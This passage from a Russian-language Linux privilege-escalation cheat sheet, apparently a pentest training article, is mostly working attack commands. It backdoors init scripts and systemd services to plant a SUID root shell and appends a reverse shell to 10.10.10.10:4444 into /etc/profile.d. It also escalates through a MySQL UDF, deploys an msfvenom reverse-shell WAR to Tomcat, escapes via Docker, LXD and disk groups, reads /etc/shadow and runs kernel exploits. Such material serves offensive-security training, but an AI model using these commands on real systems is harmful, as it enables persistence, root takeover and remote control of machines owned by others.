find /etc/rc.d -writable 2>/dev/null
find /etc/rc.d/init.d -writable 2>/dev/null
find /etc/init -writable 2>/dev/null
find /etc/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
# Проверить системные профильные скрипты, доступные для записи
find /etc/profile.d -writable 2>/dev/null
find /etc/profile -writable 2>/dev/null
find /etc/bash.bashrc -writable 2>/dev/null
# Найти скрипты с правами SUID/SGID, которые могут вызываться при запуске
find / -perm -u+s -type f -exec ls -la {} \; 2>/dev/null | grep -E "\/etc\/(init|rc)"
# Найти конфигурации сервисов, работающих от root
grep -r "User=root\|UID=0" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null
Атака модификации скриптов
Код:
# Сделать резервную копию оригинального скрипта (хорошая практика)
cp /etc/init.d/vulnerable_script /tmp/backup
# Метод 1: Заменить или отредактировать стартовый скрипт напрямую
cat > /etc/init.d/vulnerable_script << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# Оригинальный скрипт следует ниже
$(cat /tmp/backup)
EOF
# Убедиться, что он исполняемый
chmod +x /etc/init.d/vulnerable_script
# Метод 2: Добавить reverse shell в общесистемный профиль
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /etc/profile.d/shell.sh
chmod +x /etc/profile.d/shell.sh
# Метод 3: Создать вредоносный systemd-сервис
cat > /etc/systemd/system/privesc.service << EOF
[Unit]
Description=Privilege Escalation Service
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'
Restart=no
[Install]
WantedBy=multi-user.target
EOF
# Включить и запустить вредоносный сервис, если у вас есть права sudo
sudo systemctl enable privesc.service
sudo systemctl start privesc.service
# После запуска rootbash для полного улучшения шелла
python -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/bash")' # Можно также использовать python3 с той же командой, если он есть
Идентификация уязвимых сервисов
Код:
# Идентифицировать все сервисы с слабыми правами, работающие от root
for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
# Идентифицировать все сервисы с слабыми правами, работающие от другого пользователя, не root
for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
Однострочники для идентификации уязвимостей сервисов
Код:
# Найти world-writable конфигурационные файлы сервисов
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
# Найти сервисы, выполняющие доступные для записи скрипты
grep -r "ExecStart=" /etc/systemd/system /lib/systemd/system 2>/dev/null | grep -v "^#" | awk '{print $2}' | xargs -I{} find {} -writable 2>/dev/null
# Проверить процессы, работающие от root, с открытыми файловыми дескрипторами на доступные для записи файлы
lsof -u root | grep REG | grep -v "mem" | grep -v "txt" | grep -v "cwd" | grep -v 'kernel' | awk '{print $9}' | xargs -I{} ls -la {} 2>/dev/null | grep -v "^l" | grep "^.rw"
# Найти скрипты в PATH, выполняемые root, но доступные для записи вам
for p in $(echo $PATH | tr ":" " "); do find $p -writable -type f 2>/dev/null; done
# Найти все доступные для записи .sh или shell-скрипты, так как они могут быть валидными целями
find / -type f -iname "*.sh" -writable 2>/dev/null
Эксплуатация сервисов (MySQL, Apache и т.д.)
Эксплуатация MySQL
Код:
# Проверить, работает ли MySQL от root
ps aux | grep mysql | grep root
# Проверить версию MySQL
mysql --version
mysqld --version
# Подключиться к MySQL (если есть учётные данные)
mysql -u root -p
# Вы также можете использовать мой скрипт, который подключается к экземпляру MySQL
# и выгружает его в хорошо отформатированный текстовый файл для удобного просмотра и поиска
# mysqldumper: https://github.com/ThatTotallyRealMyth/mysqldumper
# Создать User Defined Function (UDF) для выполнения команд от root
# Скомпилировать разделяемый объект UDF на атакующей машине
git clone https://github.com/rapid7/metasploit-framework.git
cp metasploit-framework/external/source/exploits/mysql_udf/mysql_udf.c .
gcc -g -shared -Wl,-soname,my_udf.so -o my_udf.so mysql_udf.c -fPIC
# Передать на цель и использовать в MySQL
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/my_udf.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/my_udf.so';
mysql> create function do_system returns integer soname 'my_udf.so';
mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
mysql> exit
# Выполнить SUID-шелл
/tmp/rootbash -p
Эксплуатация Apache
Код:
# Проверить, работает ли Apache от root
ps aux | grep apache | grep root
# Доступ к конфигурации Apache
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
# Искать модули, выполняемые от root или с SUID
find /usr/lib/apache2 -perm -u+s 2>/dev/null
find /usr/lib/httpd -perm -u+s 2>/dev/null
# Искать скрипты с учётными данными
grep -r "password\|user\|pass" /var/www/ 2>/dev/null
Эксплуатация Tomcat Manager
Код:
# Проверить, доступен ли Tomcat Manager и есть ли учётные данные по умолчанию
curl -s http://localhost:8080/manager/html | grep "username"
# Проверить учётные данные в конфигурационных файлах
cat /etc/tomcat*/tomcat-users.xml
cat /usr/share/tomcat*/conf/tomcat-users.xml
# Развернуть вредоносный WAR-файл (если есть учётные данные)
# Создать JSP-шелл с помощью msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war > shell.war
# Загрузить через curl
curl -v -u 'tomcat:password' -T shell.war 'http://localhost:8080/manager/text/deploy?path=/shell&update=true'
# Получить доступ к загруженному шеллу
curl http://localhost:8080/shell/
Общие пути повышения привилегий через группы
Группа Docker
Код:
# Если вы в группе docker
docker run -v /:/mnt -it alpine chroot /mnt sh
# Теперь у вас есть root-доступ к файловой системе хоста
# Другой метод
docker run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
Группа LXD/LXC
Код:
# На атакующей машине подготовить образ
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
# Передать файл alpine-*.tar.gz на цель
# На цели, если вы в группе lxd
lxc image import ./alpine-*.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root
Группа Disk/DiskAdmin
Код:
# Если вы в группе disk, у вас есть сырой доступ к дискам
sudo debugfs /dev/sda1
# Смонтировать диск напрямую
mkdir /tmp/privesc
mount /dev/sda1 /tmp/privesc
cd /tmp/privesc
# Теперь у вас есть доступ ко всем файлам
# Создать устройство для чтения/записи файлов с root-правами
dd if=/dev/zero of=/dev/sda1 seek=$(stat -c %s /etc/shadow) bs=1 count=1
Группа Video
Код:
# Члены группы video могут получить доступ к памяти GPU, которая может содержать чувствительные данные
cat /dev/fb0 > /tmp/screen.raw
# Проанализировать сырые данные фреймбуфера
# Также получить доступ к информации HDMI/дисплея, которая может содержать чувствительные данные
cat /sys/class/graphics/fb*/virtual_size
Группа ADM
Код:
# Члены группы adm могут читать лог-файлы, которые могут содержать чувствительную информацию
find /var/log -type f -readable -exec grep -i -E "password|pass|pwd|user|login" {} \;
# Искать записи о sudo-паролях
grep -i "sudo" /var/log/auth.log
Группа Shadow
Код:
# Если вы в группе shadow
cat /etc/shadow
# Создать новую запись в /etc/passwd с root UID/GID, но с известным вам паролем
openssl passwd -1 -salt xyz newpassword
# Добавить нового пользователя с хэшем или изменить хэш root
Перенаправление портов для внутренних сервисов
Код:
# Проверить локально прослушиваемые сервисы, которые могут работать от root
netstat -tunlp
ss -tunlp
# Локальное перенаправление портов через SSH (требуется доступ по SSH)
ssh -L <локальный_порт>:127.0.0.1:<целевой_порт> <пользователь>@<цель>
# Пример: ssh -L 8080:127.0.0.1:8080 user@target
# Удалённое перенаправление портов через SSH (полезно для колбэков)
ssh -R <удалённый_порт>:127.0.0.1:<локальный_порт> <пользователь>@<ваш_сервер>
# Перенаправление портов с помощью socat
socat TCP-LISTEN:<локальный_порт>,fork TCP:127.0.0.1:<целевой_порт>
# Перенаправление портов через SOCKS-прокси с SSH
ssh -D <локальный_порт> <пользователь>@<цель>
# Затем настроить proxychains на использование этого SOCKS-прокси
Эксплуатация прав файлов
Поиск world-writable файлов
Код:
# Найти world-writable файлы, исключая /proc, /sys, /dev
find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -type f -perm -o+w -ls 2>/dev/null
# Найти файлы с sticky-битами или SUID/SGID
find / -type f \( -perm -04000 -o -perm -02000 \) -ls 2>/dev/null
# Найти world-writable каталоги
find / -type d -perm -o+w 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Найти файлы, которые одновременно исполняемые и доступные для записи текущему пользователю
find / -type f -executable -writable 2>/dev/null | grep -v '/proc\|/sys\|/dev'
Эксплойты ядра (крайняя мера, высокая вероятность, что не сработает + никогда не используйте в реальной жизни)
Обнаружение и идентификация
Код:
# Получить подробную информацию о ядре
uname -a
cat /proc/version
cat /etc/issue
rpm -q kernel # Red Hat/CentOS
dpkg --list | grep linux-image # Debian/Ubuntu
# Получить информацию о CPU
lscpu
cat /proc/cpuinfo
# Получить подробности о дистрибутиве Linux
cat /etc/os-release
lsb_release -a
# Проверить установленные патчи безопасности
dpkg -l | grep -i security # Debian/Ubuntu
rpm -qa | grep -i security # Red Hat/CentOS
# Проверить загруженные модули ядра (искать устаревшие модули)
lsmod
cat /proc/modules
Автоматическое обнаружение эксплойтов ядра
Код:
# Использование Linux Exploit Suggester
./linux-exploit-suggester-2.pl -k $(uname -r)
# Использование linPEAS
./linpeas.sh | grep -i "kernel version\|CVE"
# Использование Linux Smart Enumeration (уровень 2 для информации о ядре)
./lse.sh -l 2 | grep -i "kernel"
# Найти эксплойты для текущего ядра
searchsploit $(uname -r)
Распространённые эксплойты ядра
Код:
# Dirty COW (CVE-2016-5195) — работает на Linux 2.6.22 – 4.8.3
# Запуск эксплойта создаёт SUID root-шелл
gcc -pthread dirty.c -o dirty -lcrypt
./dirty "newrootpassword"
# PTRACE_TRACEME local root (CVE-2010-3301)
gcc pwn.c -o pwn
./pwn
# Mempodipper (CVE-2012-0056) — для Linux 2.6.39 < 3.2.2
gcc mempodipper.c -o mempodipper
./mempodipper
# RDS (CVE-2010-3904) — для Linux < 2.6.36-rc8
gcc rds.c -o rds
./rds
# perf_swevent_init (CVE-2013-2094) — для ядра 3.8.0/3.8.1
gcc perf_swevent.c -o perf_swevent
./perf_swevent
#Также не забываем про CopyFail!
https://github.com/theori-io/copy-fail-CVE-2026-31431
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Поиск в обсуждении
Продолжить чтение
Следующий разбор
VAPT vs пентест: в чём разница и когда компании нужен каждый из подходов
Комментарии
0